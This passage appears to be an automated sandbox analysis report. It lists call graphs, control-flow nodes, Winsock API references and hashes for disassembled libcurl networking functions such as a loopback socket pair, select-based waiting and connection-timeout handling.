6bdb06b0 74 API calls 24640->24641 24640->24642 24641->24642 24642->24453 24642->24467 24642->24468 24644 6bd91e60 24643->24644 24645 6bdbe5d0 2 API calls 24644->24645 24646 6bd91ec2 24644->24646 24645->24646 24646->24521 24648 6bd95255 24647->24648 24649 6bd95294 curl_maprintf 24648->24649 24650 6bd937da 24648->24650 24649->24650 24650->24453 24651 6bd83580 24650->24651 24652 6bd835c1 24651->24652 24653 6bd835e1 24652->24653 24654 6bd835f6 24652->24654 24655 6bdcdb71 __fassign 5 API calls 24653->24655 24656 6bdbe5d0 2 API calls 24654->24656 24658 6bd83618 24654->24658 24657 6bd835f2 24655->24657 24656->24658 24657->24525 24659 6bd83668 24658->24659 24660 6bd8367e 24658->24660 24661 6bdcdb71 __fassign 5 API calls 24659->24661 24662 6bdcdb71 __fassign 5 API calls 24660->24662 24663 6bd8367a 24661->24663 24664 6bd8368f 24662->24664 24663->24525 24664->24525 24666 6bd98752 24665->24666 24667 6bd9875a 24666->24667 24698 6bd984a0 24666->24698 24667->24536 24669 6bd98772 24669->24536 24670->24482 24671->24487 24672->24490 24673->24497 24674->24501 24675->24507 24676->24517 24677->24529 24678->24529 24680 6bd95333 curl_url_cleanup 24679->24680 24680->24551 24682->24565 24683->24568 24684->24573 24685->24582 24686->24564 24687->24564 24688->24591 24689->24590 24690->24616 24691->24616 24692->24611 24693->24618 24694->24616 24695->24626 24696->24633 24697->24633 24699 6bd984e7 24698->24699 24724 6bd98840 24699->24724 24701 6bd984ff 24702 6bd98515 24701->24702 24703 6bdb06b0 74 API calls 24701->24703 24704 6bd98589 inet_pton 24702->24704 24710 6bd986cf 24702->24710 24723 6bd98656 24702->24723 24703->24702 24706 6bd985b9 inet_pton 24704->24706 24707 6bd9859a 24704->24707 24705 6bdcdb71 __fassign 5 API calls 24708 6bd98679 24705->24708 24714 6bd985ca 24706->24714 24707->24706 24709 6bd9867d 24707->24709 24708->24669 24743 6bd97ae0 78 API calls __fassign 24709->24743 24712 6bdcdb71 __fassign 5 API calls 24710->24712 24713 6bd986df 24712->24713 24713->24669 24714->24709 24714->24710 24717 6bd98617 24714->24717 24740 6bdadb40 145 API calls ___scrt_fastfail 24714->24740 24716 6bd98630 24718 6bd9864a 24716->24718 24719 6bd98643 24716->24719 24716->24723 24717->24709 24717->24716 24742 6bd81380 90 API calls 24718->24742 24741 6bdadcd0 111 API calls 2 library calls 24719->24741 24722 6bd98648 24722->24710 24722->24723 24723->24705 24744 6bd987e0 48 API calls 24724->24744 24726 6bd98997 24728 6bdcdb71 __fassign 5 API calls 24726->24728 24727 6bd98873 24727->24726 24735 6bd988e0 24727->24735 24745 6bdd94c5 47 API calls 24727->24745 24731 6bd989a6 24728->24731 24731->24701 24732 6bd988b8 curl_msnprintf 24732->24735 24733 6bd98922 24733->24726 24734 6bd98966 24733->24734 24736 6bdb06b0 74 API calls 24734->24736 24735->24726 24746 6bdd6edc 26 API calls 24735->24746 24737 6bd98971 24736->24737 24738 6bdcdb71 __fassign 5 API calls 24737->24738 24739 6bd98993 24738->24739 24739->24701 24740->24717 24741->24722 24742->24722 24743->24723 24744->24727 24745->24732 24746->24733 25013 6bd978b0 7 API calls 25017 6bd89ba0 curl_slist_free_all curl_slist_free_all curl_maprintf curl_getenv 25018 6bd8aca0 99 API calls 25019 6bd8c4a0 106 API calls 25056 6bd88320 86 API calls 25057 6bd8a720 curl_easy_escape 25058 6bd8bf20 110 API calls 25021 6bda7ea0 138 API calls 25059 6bda8320 WSASetEvent 25060 6bda3920 curl_slist_free_all curl_slist_free_all 24958 6bdb0c20 24961 6bdb09f0 24958->24961 24960 6bdb0c45 24962 6bdb0b1a send 24961->24962 24963 6bdb0a54 24961->24963 24964 6bdb0b3e WSAGetLastError 24962->24964 24975 6bdb0b8e 24962->24975 24963->24962 24970 6bdb03a0 16 API calls 24963->24970 24966 6bdb0b69 24964->24966 24967 6bdb0b4e 24964->24967 24965 6bdcdb71 __fassign 5 API calls 24969 6bdb0bb4 24965->24969 24984 6bdba0e0 53 API calls 3 library calls 24966->24984 24971 6bdcdb71 __fassign 5 API calls 24967->24971 24969->24960 24977 6bdb0a85 24970->24977 24973 6bdb0b65 24971->24973 24972 6bdb0b7b 24985 6bdb05d0 74 API calls __fassign 24972->24985 24973->24960 24975->24965 24976 6bdb0abe 24978 6bdb0b13 24976->24978 24979 6bdb0af5 recv 24976->24979 24977->24962 24977->24976 24980 6bdb0ad1 24977->24980 24978->24962 24979->24962 24981 6bdb0b0e 24979->24981 24982 6bdcdb71 __fassign 5 API calls 24980->24982 24981->24962 24983 6bdb0ae7 24982->24983 24983->24960 24984->24972 24985->24975

                                                                                                                                      Executed Functions

                                                                                                                                      Function 6BDB6D50 Relevance: 24.2, APIs: 16, Instructions: 171networkCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 134 6bdb6d50-6bdb6d87 socket 135 6bdb6d8d-6bdb6dd6 htonl setsockopt 134->135 136 6bdb6f21-6bdb6f34 call 6bdcdb71 134->136 138 6bdb6f0f-6bdb6f1f closesocket * 3 135->138 139 6bdb6ddc-6bdb6dec bind 135->139 138->136 139->138 141 6bdb6df2-6bdb6e04 getsockname 139->141 141->138 142 6bdb6e0a-6bdb6e16 listen 141->142 142->138 143 6bdb6e1c-6bdb6e29 socket 142->143 143->138 144 6bdb6e2f-6bdb6e3f connect 143->144 144->138 145 6bdb6e45-6bdb6e56 accept 144->145 145->138 146 6bdb6e5c-6bdb6e73 curl_msnprintf 145->146 147 6bdb6e76-6bdb6e7b 146->147 147->147 148 6bdb6e7d-6bdb6e90 send 147->148 148->138 149 6bdb6e92-6bdb6ea5 recv 148->149 149->138 150 6bdb6ea7-6bdb6eb0 149->150 151 6bdb6ec3-6bdb6ec6 150->151 152 6bdb6eb2-6bdb6eb6 150->152 153 6bdb6ec8-6bdb6ecc 151->153 155 6bdb6ef5-6bdb6f0e closesocket call 6bdcdb71 151->155 152->153 154 6bdb6eb8-6bdb6ec1 152->154 153->138 157 6bdb6ece-6bdb6ed1 153->157 154->151 154->152 157->155 159 6bdb6ed3-6bdb6ed9 157->159 159->138 160 6bdb6edb-6bdb6ede 159->160 160->155 161 6bdb6ee0-6bdb6ee6 160->161 161->138 162 6bdb6ee8-6bdb6eeb 161->162 162->155 163 6bdb6eed-6bdb6ef3 162->163 163->138 163->155
                                                                                                                                      APIs
                                                                                                                                      • socket.WS2_32(00000002,00000001,00000006), ref: 6BDB6D80
                                                                                                                                      • htonl.WS2_32(7F000001), ref: 6BDB6DA3
                                                                                                                                      • setsockopt.WS2_32(00000000,0000FFFF,00000004,00000001,00000004), ref: 6BDB6DCD
                                                                                                                                      • bind.WS2_32(00000000,?,00000010), ref: 6BDB6DE3
                                                                                                                                      • getsockname.WS2_32(00000000,?,00000010), ref: 6BDB6DFB
                                                                                                                                      • listen.WS2_32(00000000,00000001), ref: 6BDB6E0D
                                                                                                                                      • socket.WS2_32(00000002,00000001,00000000), ref: 6BDB6E22
                                                                                                                                      • connect.WS2_32(00000000,?,00000010), ref: 6BDB6E36
                                                                                                                                      • accept.WS2_32(00000000,00000000,00000000), ref: 6BDB6E4A
                                                                                                                                      • curl_msnprintf.LIBCURL(?,0000000C,6BDF0CA0,6BD81172), ref: 6BDB6E68
                                                                                                                                      • send.WS2_32(6BD81172,?,?,00000000), ref: 6BDB6E88
                                                                                                                                      • recv.WS2_32(C74C79C0,00000001,0000000C,00000000), ref: 6BDB6E9D
                                                                                                                                      • closesocket.WS2_32(00000000), ref: 6BDB6EF6
                                                                                                                                      • closesocket.WS2_32(00000000), ref: 6BDB6F16
                                                                                                                                      • closesocket.WS2_32(6BD81172), ref: 6BDB6F1A
                                                                                                                                      • closesocket.WS2_32(C74C79C0), ref: 6BDB6F1F
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: closesocket$socket$acceptbindconnectcurl_msnprintfgetsocknamehtonllistenrecvsendsetsockopt
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 4135244658-0
                                                                                                                                      • Opcode ID: 68ce2f2f4ab5f65b4a88456a1cf910557e0a34a1ad625571452e4009e0a35230
                                                                                                                                      • Instruction ID: eec354db721a4a10520805868d90cfc870c0a84fcb21d69bd2d7c4c27b36f3f2
                                                                                                                                      • Opcode Fuzzy Hash: 68ce2f2f4ab5f65b4a88456a1cf910557e0a34a1ad625571452e4009e0a35230
                                                                                                                                      • Instruction Fuzzy Hash: A151F171905208ABEB119F78CC80BADFB79AF06330F104399E97AAE1D0D77498479B60
                                                                                                                                      Function 6BDAFEF0 Relevance: 15.3, APIs: 10, Instructions: 347networksleepCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 471 6bdafef0-6bdaff0e 472 6bdaff2b-6bdaff35 471->472 473 6bdaff10-6bdaff17 471->473 475 6bdaff3b-6bdaff3d 472->475 476 6bdb0384-6bdb0393 call 6bdcdb71 472->476 473->472 474 6bdaff19 473->474 480 6bdaff20-6bdaff24 474->480 477 6bdb036e-6bdb0373 475->477 478 6bdaff43 475->478 483 6bdb037d-6bdb037e Sleep 477->483 481 6bdaff4d-6bdaff68 WSASetLastError call 6bdcdb71 478->481 482 6bdaff45-6bdaff47 478->482 485 6bdaff69-6bdaff98 480->485 486 6bdaff26-6bdaff29 480->486 482->481 487 6bdb0363-6bdb0365 482->487 483->476 489 6bdaffa0-6bdaffbf 485->489 486->472 486->480 487->483 490 6bdb0367 487->490 492 6bdb00c4-6bdb00d3 489->492 493 6bdaffc5 489->493 490->477 494 6bdb0369-6bdb036c 490->494 492->489 495 6bdb00d9-6bdb00db 492->495 496 6bdaffcb-6bdaffed 493->496 497 6bdb0100-6bdb010b WSASetLastError 493->497 494->477 494->483 498 6bdb00e1-6bdb00e3 495->498 499 6bdb0164-6bdb0178 495->499 500 6bdafff3-6bdb000d 496->500 501 6bdb00c1 496->501 502 6bdb010e-6bdb011e call 6bdcdb71 497->502 498->499 503 6bdb00e5-6bdb00e7 498->503 504 6bdb017a 499->504 505 6bdb01a1-6bdb01e1 call 6bdcdb90 call 6bdce290 * 2 499->505 506 6bdb000f-6bdb0013 500->506 507 6bdb0046-6bdb0048 500->507 501->492 503->499 511 6bdb00e9-6bdb00f9 503->511 512 6bdb017c-6bdb017e 504->512 513 6bdb0180-6bdb018a 504->513 561 6bdb020f 505->561 562 6bdb01e3 505->562 514 6bdb0023-6bdb0025 506->514 515 6bdb0015-6bdb001c 506->515 509 6bdb004a-6bdb004e 507->509 510 6bdb0081-6bdb0086 507->510 518 6bdb005e-6bdb0060 509->518 519 6bdb0050-6bdb0057 509->519 510->501 523 6bdb0088-6bdb008c 510->523 520 6bdb00fb 511->520 521 6bdb011f-6bdb0121 511->521 512->513 522 6bdb018f-6bdb0191 512->522 524 6bdb0237-6bdb0271 select 513->524 526 6bdb0040 514->526 527 6bdb0027-6bdb002a 514->527 515->514 525 6bdb001e-6bdb0021 515->525 531 6bdb007b 518->531 532 6bdb0062-6bdb0065 518->532 519->518 530 6bdb0059-6bdb005c 519->530 533 6bdb0277-6bdb0279 520->533 538 6bdb0123 521->538 539 6bdb0147-6bdb014c 521->539 534 6bdb0223-6bdb022d 522->534 535 6bdb0197 522->535 536 6bdb009e-6bdb00a0 523->536 537 6bdb008e 523->537 524->533 525->514 525->515 526->507 527->526 540 6bdb002c-6bdb003a 527->540 530->518 530->519 531->510 532->531 543 6bdb0067-6bdb0075 532->543 533->502 544 6bdb027f-6bdb028a 533->544 534->524 535->505 545 6bdb0199-6bdb019b 535->545 547 6bdb00bb 536->547 548 6bdb00a2-6bdb00a5 536->548 546 6bdb0090-6bdb0097 537->546 549 6bdb0129-6bdb0137 WSASetLastError 538->549 550 6bdb0125-6bdb0127 538->550 542 6bdb0156-6bdb015f Sleep 539->542 540->526 542->533 543->531 554 6bdb0290-6bdb029b 544->554 545->505 545->534 546->536 555 6bdb0099-6bdb009c 546->555 547->501 548->547 551 6bdb00a7-6bdb00b5 548->551 549->533 550->549 552 6bdb013c-6bdb013e 550->552 551->547 552->542 556 6bdb0140 552->556 558 6bdb0343-6bdb034a 554->558 559 6bdb02a1-6bdb02b0 __WSAFDIsSet 554->559 555->536 555->546 556->539 560 6bdb0142-6bdb0145 556->560 558->554 563 6bdb0350-6bdb0362 call 6bdcdb71 558->563 564 6bdb02df-6bdb02f0 __WSAFDIsSet 559->564 565 6bdb02b2-6bdb02bf 559->565 560->539 560->542 572 6bdb0215-6bdb0221 561->572 570 6bdb01f2-6bdb020d 562->570 571 6bdb01e5-6bdb01f0 562->571 568 6bdb02fc-6bdb030d __WSAFDIsSet 564->568 569 6bdb02f2-6bdb02f6 564->569 566 6bdb02cc-6bdb02d5 565->566 567 6bdb02c1-6bdb02c9 565->567 566->564 575 6bdb02d7-6bdb02dc 566->575 567->566 577 6bdb030f-6bdb031c 568->577 578 6bdb033c-6bdb0340 568->578 569->568 576 6bdb02f8 569->576 570->524 571->570 571->572 572->524 575->564 576->568 579 6bdb0329-6bdb0332 577->579 580 6bdb031e-6bdb0326 577->580 578->558 581 6bdb0342 578->581 579->578 582 6bdb0334-6bdb0339 579->582 580->579 581->558 582->578
                                                                                                                                      APIs
                                                                                                                                      • WSASetLastError.WS2_32(00002726), ref: 6BDAFF52
                                                                                                                                      • WSASetLastError.WS2_32(00002726,00000000,00000001,000000FF), ref: 6BDB0105
                                                                                                                                      • WSASetLastError.WS2_32(00002726,00000000,00000001,000000FF), ref: 6BDB012E
                                                                                                                                      • Sleep.KERNEL32(FFFFFFFE,00000000,00000001,000000FF), ref: 6BDB0157
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDB01AA
                                                                                                                                      • select.WS2_32(?,?,?,?,?), ref: 6BDB0271
                                                                                                                                      • __WSAFDIsSet.WS2_32(?,?), ref: 6BDB02A9
                                                                                                                                      • __WSAFDIsSet.WS2_32(?,?), ref: 6BDB02E9
                                                                                                                                      • __WSAFDIsSet.WS2_32(?,?), ref: 6BDB0306
                                                                                                                                      • Sleep.KERNEL32(FFFFFFFE), ref: 6BDB037E
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast$Sleep$Unothrow_t@std@@@__ehfuncinfo$??2@select
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1691268743-0
                                                                                                                                      • Opcode ID: 687f35268959bfc443a985b2ef90456654842169e70a6108a51d2c0ec6b77fa3
                                                                                                                                      • Instruction ID: 41925e009719a549cd3f4f8e60e07ba664ab822da7ae29b6c123d38b64e7c07f
                                                                                                                                      • Opcode Fuzzy Hash: 687f35268959bfc443a985b2ef90456654842169e70a6108a51d2c0ec6b77fa3
                                                                                                                                      • Instruction Fuzzy Hash: 0ED17BB0A00219CBEB258F25CD507AEB3B9FF48760F1045EDE85ADB290D778CA81CB55
                                                                                                                                      Function 6BDA6EF0 Relevance: 12.5, APIs: 8, Instructions: 497COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 635 6bda6ef0-6bda6f1e 636 6bda747b-6bda748f call 6bdcdb71 635->636 637 6bda6f24-6bda6f2a 635->637 637->636 639 6bda6f30-6bda6f36 637->639 641 6bda6f4b-6bda6f51 639->641 642 6bda6f38-6bda6f4a call 6bdcdb71 639->642 643 6bda6f69-6bda6f71 641->643 644 6bda6f53-6bda6f68 call 6bdcdb71 641->644 647 6bda6fcc-6bda6fde call 6bda9c30 643->647 648 6bda6f73-6bda6f89 call 6bda8760 643->648 655 6bda6fe8-6bda6ffc 647->655 656 6bda6fe0-6bda6fe5 647->656 657 6bda6f90-6bda6f95 648->657 658 6bda7002-6bda700a 655->658 659 6bda70e4-6bda70f9 655->659 656->655 660 6bda6f9c-6bda6fa3 657->660 661 6bda6f97-6bda6f9b 657->661 658->659 662 6bda7010-6bda7020 call 6bda8760 658->662 665 6bda70ff-6bda710a 659->665 666 6bda7203-6bda7208 659->666 663 6bda6faa-6bda6fad 660->663 664 6bda6fa5-6bda6fa9 660->664 661->660 684 6bda7022-6bda7037 662->684 670 6bda6faf-6bda6fb5 663->670 671 6bda6fb7-6bda6fc4 663->671 664->663 672 6bda7110-6bda7129 665->672 667 6bda720e-6bda7228 WSAWaitForMultipleEvents 666->667 668 6bda73fc-6bda7401 666->668 673 6bda722e 667->673 674 6bda72f1-6bda72f8 667->674 675 6bda7408-6bda740c 668->675 676 6bda7403-6bda7406 668->676 670->657 670->671 671->648 680 6bda6fc6-6bda6fc9 671->680 678 6bda712b-6bda712e 672->678 679 6bda7132-6bda7148 672->679 681 6bda7231-6bda726b WSAEnumNetworkEvents 673->681 685 6bda72fe-6bda7306 674->685 686 6bda73ed-6bda73f9 WSAResetEvent 674->686 682 6bda740e-6bda7410 675->682 683 6bda7452-6bda7464 call 6bdcdb71 675->683 676->675 678->679 687 6bda714a-6bda7155 679->687 688 6bda7159-6bda715c 679->688 680->647 691 6bda726d-6bda72b9 681->691 692 6bda72c2-6bda72e5 WSAEventSelect 681->692 682->683 694 6bda7412-6bda741b 682->694 695 6bda7069 684->695 696 6bda7039-6bda703b 684->696 685->686 697 6bda730c 685->697 686->668 687->688 689 6bda7169-6bda717d call 6bdafef0 688->689 690 6bda715e-6bda7165 688->690 716 6bda71cb-6bda71dc WSAEventSelect 689->716 717 6bda717f-6bda718b 689->717 690->689 691->692 699 6bda72bb-6bda72bf 691->699 692->681 701 6bda72eb-6bda72ee 692->701 694->683 702 6bda741d-6bda7423 694->702 706 6bda706b-6bda7078 695->706 703 6bda705b-6bda7067 696->703 704 6bda703d-6bda7049 call 6bdb03a0 696->704 705 6bda7310-6bda7322 call 6bda8760 697->705 699->692 710 6bda72c1 699->710 701->674 702->683 711 6bda7425-6bda7434 call 6bda9c30 702->711 703->706 721 6bda704e-6bda7058 704->721 731 6bda7327-6bda7331 705->731 707 6bda707a-6bda707c 706->707 708 6bda70a6-6bda70a9 706->708 714 6bda707e-6bda708a call 6bdb03a0 707->714 715 6bda709f-6bda70a3 707->715 718 6bda70ab-6bda70be WSAEventSelect 708->718 719 6bda70d1-6bda70db 708->719 710->692 711->683 736 6bda7436-6bda743b 711->736 732 6bda708f-6bda709c 714->732 715->708 727 6bda7465-6bda747a call 6bdcdb71 716->727 730 6bda71e2-6bda71f4 716->730 724 6bda718d-6bda7193 717->724 725 6bda7196-6bda71a1 717->725 726 6bda70c4-6bda70cb 718->726 718->727 719->662 728 6bda70e1 719->728 721->703 724->725 734 6bda71ac-6bda71b5 725->734 735 6bda71a3-6bda71a9 725->735 726->684 726->719 728->659 730->672 737 6bda71fa-6bda7200 730->737 738 6bda73da-6bda73e4 731->738 739 6bda7337-6bda735d WSAEnumNetworkEvents 731->739 732->715 744 6bda71c0-6bda71c8 734->744 745 6bda71b7-6bda71bd 734->745 735->734 736->683 746 6bda743d-6bda743f 736->746 737->666 738->705 742 6bda73ea 738->742 740 6bda736a-6bda736c 739->740 741 6bda735f-6bda7361 739->741 748 6bda73b6-6bda73d4 WSAEventSelect 740->748 749 6bda736e-6bda7370 740->749 747 6bda7363-6bda7365 741->747 741->748 742->686 744->716 745->744 750 6bda7441-6bda7443 746->750 751 6bda7445 746->751 747->740 753 6bda7367 747->753 748->731 748->738 749->748 754 6bda7372-6bda7374 749->754 750->751 752 6bda7447-6bda744f call 6bdb04d0 750->752 751->752 752->683 753->740 754->748 756 6bda7376-6bda7379 754->756 758 6bda737b-6bda738f call 6bdb03a0 756->758 759 6bda7391-6bda7399 756->759 758->759 764 6bda73b3 758->764 759->748 761 6bda739b-6bda73b1 call 6bdb03a0 759->761 761->748 761->764 764->748
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID:
                                                                                                                                      • Opcode ID: b3c7fa1158281deff702ec32ef12c14ae79962f91d8ec17d1ab84bd5eff1308d
                                                                                                                                      • Instruction ID: 0cc72b44d44eedf513aa22b44c6bfa514dce889f83398dc8d42083d494bd9495
                                                                                                                                      • Opcode Fuzzy Hash: b3c7fa1158281deff702ec32ef12c14ae79962f91d8ec17d1ab84bd5eff1308d
                                                                                                                                      • Instruction Fuzzy Hash: C5028E75E00219DFEB00CFA8C891BAEB7F5FF48320F114169E965EB294E7789901DB50
                                                                                                                                      Function 6BD82D20 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 409COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 784 6bd82d20-6bd82d68 785 6bd82d6a 784->785 786 6bd82d80-6bd82dc4 call 6bdbe5d0 784->786 787 6bd82d6d-6bd82d7f call 6bdcdb71 785->787 792 6bd82dc9-6bd82dcc 786->792 793 6bd82dc6 786->793 794 6bd82dce-6bd82dd1 792->794 795 6bd82de1-6bd82de8 792->795 793->792 797 6bd82ddf 794->797 798 6bd82dd3-6bd82dd6 794->798 796 6bd82dee-6bd82e34 call 6bdbe680 795->796 802 6bd82e3a-6bd82e3c 796->802 803 6bd832c4-6bd832d2 call 6bdb05d0 796->803 797->795 798->796 800 6bd82dd8-6bd82ddd 798->800 800->795 802->803 805 6bd82e42 802->805 809 6bd832d7-6bd832e7 call 6bdcdb71 803->809 807 6bd82e4c-6bd82e53 805->807 808 6bd82e44-6bd82e46 805->808 810 6bd82e9a-6bd82e9c 807->810 811 6bd82e55-6bd82e6f call 6bd83f40 807->811 808->803 808->807 812 6bd82ea0-6bd82eb5 810->812 821 6bd82e71-6bd82e7a 811->821 822 6bd82e87-6bd82e99 call 6bdcdb71 811->822 815 6bd82ebb-6bd82ed4 call 6bdb03a0 812->815 816 6bd83120 812->816 828 6bd82eda-6bd82f28 call 6bdbe680 815->828 829 6bd82fcc-6bd82fcf 815->829 820 6bd83126-6bd8312a 816->820 820->812 825 6bd83130-6bd83132 820->825 821->822 826 6bd82e7c-6bd82e84 call 6bd84060 821->826 830 6bd83138-6bd8313f 825->830 831 6bd832af 825->831 826->822 846 6bd82f2a-6bd82f30 828->846 847 6bd82f54-6bd82f56 828->847 834 6bd82ff9-6bd83011 call 6bd84740 829->834 835 6bd82fd1-6bd82fd7 829->835 830->831 836 6bd83145-6bd8314c 830->836 837 6bd832b1-6bd832c3 call 6bdcdb71 831->837 853 6bd83185-6bd831d4 834->853 854 6bd83017 834->854 835->834 841 6bd82fd9-6bd82fdb 835->841 836->831 842 6bd83152-6bd83167 call 6bd846a0 836->842 841->816 848 6bd82fe1-6bd82ff7 call 6bd84740 841->848 842->787 859 6bd8316d-6bd83174 842->859 855 6bd82f3a-6bd82f4f call 6bdb06b0 846->855 856 6bd82f32-6bd82f38 846->856 850 6bd82f5c-6bd82f63 847->850 851 6bd8301d-6bd8301f 847->851 848->854 850->851 858 6bd82f69-6bd82fa6 call 6bdbe680 850->858 851->816 860 6bd83025-6bd83041 WSASetLastError 851->860 861 6bd831eb-6bd831fe call 6bd83f40 853->861 862 6bd831d6-6bd831e0 call 6bd828e0 853->862 854->851 855->847 856->847 856->855 858->851 881 6bd82fa8 858->881 866 6bd8322a-6bd83231 859->866 867 6bd8317a-6bd83180 859->867 860->816 868 6bd83047-6bd8308e call 6bd98450 call 6bdba0e0 call 6bdb06b0 860->868 861->809 884 6bd83204-6bd83206 861->884 862->861 872 6bd8323b-6bd83242 866->872 873 6bd83233-6bd83239 866->873 875 6bd83252-6bd83295 call 6bdba0e0 call 6bdb05d0 867->875 902 6bd8309e-6bd830ae call 6bdcdb90 868->902 903 6bd83090-6bd8309c 868->903 879 6bd8324c 872->879 880 6bd83244-6bd8324a 872->880 873->875 875->837 898 6bd83297-6bd832ae call 6bdcdb71 875->898 879->875 880->875 885 6bd82faa-6bd82fb0 881->885 886 6bd82fb2-6bd82fca call 6bd846a0 881->886 884->809 889 6bd8320c-6bd8320f call 6bd84060 884->889 885->851 885->886 886->851 897 6bd83214-6bd83229 call 6bdcdb71 889->897 906 6bd830b3-6bd830ca 902->906 903->906 908 6bd830ec-6bd83106 call 6bd846a0 906->908 909 6bd830cc-6bd830d1 906->909 915 6bd83118-6bd8311e 908->915 916 6bd83108-6bd83116 908->916 909->908 910 6bd830d3-6bd830da 909->910 912 6bd830e0-6bd830e3 910->912 912->908 914 6bd830e5-6bd830ea 912->914 914->908 914->912 915->820 916->816 916->915
                                                                                                                                      Strings
                                                                                                                                      • connect to %s port %ld failed: %s, xrefs: 6BD83070
                                                                                                                                      • After %I64dms connect time, move on!, xrefs: 6BD82F3C
                                                                                                                                      • Failed to connect to %s port %ld: %s, xrefs: 6BD8327D
                                                                                                                                      • Connection time-out, xrefs: 6BD832C4
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: After %I64dms connect time, move on!$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
                                                                                                                                      • API String ID: 0-184998888
                                                                                                                                      • Opcode ID: 7a1a9817a47646f7498302bd3c9846b8d7a5b1dd1b8d159e663e7c75983f9cc1
                                                                                                                                      • Instruction ID: 6c29b10f245395ffc721e40329b3fc0ffe8f1939c79b2b3380e2d3fca8a87b6a
                                                                                                                                      • Opcode Fuzzy Hash: 7a1a9817a47646f7498302bd3c9846b8d7a5b1dd1b8d159e663e7c75983f9cc1
                                                                                                                                      • Instruction Fuzzy Hash: 2EF1D370A00614DBDB219F289C81BEAB7B5EF8533AF0041EDE85D9F251D735AA84CB61
                                                                                                                                      Function 6BDB09F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138networkCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
